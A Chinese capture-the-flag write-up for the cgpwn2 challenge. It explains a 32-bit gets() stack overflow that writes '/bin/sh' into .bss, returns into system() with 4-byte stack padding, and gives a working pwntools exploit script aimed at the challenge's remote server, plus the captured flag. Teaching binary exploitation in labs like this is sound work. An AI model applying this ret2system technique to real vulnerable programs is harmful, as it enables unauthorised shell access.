【攻防世界】cgpwn2
收获
当程序中没有后门函数时,可以通过向段中写入
"/bin/sh",然后通过栈溢出调用system()函数将写入的"/bin/sh"作为参数执行在调用
system()函数时,若想要向其传入参数,注意填充 4 个字节的数据来平衡栈,因为调用system()函数的时候要压入一个返回地址 (直接写p32(0)也可以,这也是一个 4 字节的数据)
为什么要填充 4 个字节?
当程序调用 system() 函数时,会自动去寻找栈底,即 ebp 指向的位置,然后将 ebp + 8 字节的位置的数据当作函数的参数
如果想将 /bin/sh 作为 system() 函数的参数,就可以在栈溢出的时候,先修改 eip 为 system() 函数的地址,然后填充 4 个字节 的垃圾数据,再将 /bin/sh 的地址写入栈上,这样调用 system() 函数的时候,就可以将 /bin/sh 作为参数,然后返回一个 shell
为什么是在
eip(即system()函数地址)后面覆盖 4 个字节垃圾数据而不是前面提到的 8 个字节 ?
因为当调用 system() 函数的时候,在 system() 函数中会首先执行 push ebp 指令,将 4 字节的 ebp 地址压入栈中,而此时的栈底距离参数 /bin/sh 正好 8 字节,所以应该填充 4 字节垃圾数据,这个垃圾数据将作为 system() 函数执行完后的返回地址
思路
查看文件信息:
32 位 小端序,只开启了栈不可执行
尝试执行:
在 IDA 中分析:
跟进 hello():
有两个输入:name 和 s,查看 name 的写入位置:
发现输入的 name 是存储在 .bss 段上的,不是在栈中
查看 s 的写入位置:
可以通过 gets() 函数溢出函数返回值,转而执行其他函数
发现后门函数:
但是这个函数只是执行 echo hehehe,即:打印 hehehe,并不能提供 flag
既然输入的 name 可以往 .bss 段上写入数据,因此可以考虑通过 name 往 .bss 段上写入 "/bin/sh",然后再通过输入 s 将栈溢出,使程序调用 system() 函数,再将事先写入的 "/bin/sh" 做为 system() 函数的参数,即可 PWN 掉程序
就是需要注意:调用 system() 函数后需要需要填充 4 个字节 的垃圾数据来保持栈的平衡,因为调用 system() 函数的时候要压入一个返回地址,需要填充 4 个字节
除了写 b'a' * 4 之外,还可以写 p32(0),也可以代表 4 个字节
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./cgpwn2") # 生成elf对象
system_addr = elf.symbols["system"] # 获取system函数的地址
bin_sh_addr = 0x0804A080 # s在.bss段上写入的地址,地址可以在ida中查看到,要往这里写入“/bin/sh”,然后用system函数调用它
def main():
if content == 1:
io = process("./cgpwn2") # 程序在kali的路径
else:
io = remote("61.147.171.105", 65027) # 题目的远程端口
payload = b'a' * (0x26 - 0x00 + 0x04) + p32(system_addr) # 通过栈溢出调用system函数
payload = payload + b'aaaa' + p32(bin_sh_addr) # 填充4个字节平衡栈,然后将写入“/bin/sh”的地址作为参数
io.recvuntil("please tell me your name\n")
io.sendline("/bin/sh")
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()
main()结果
cyberpeace{d4336a51b8192c14138838a676822392}


















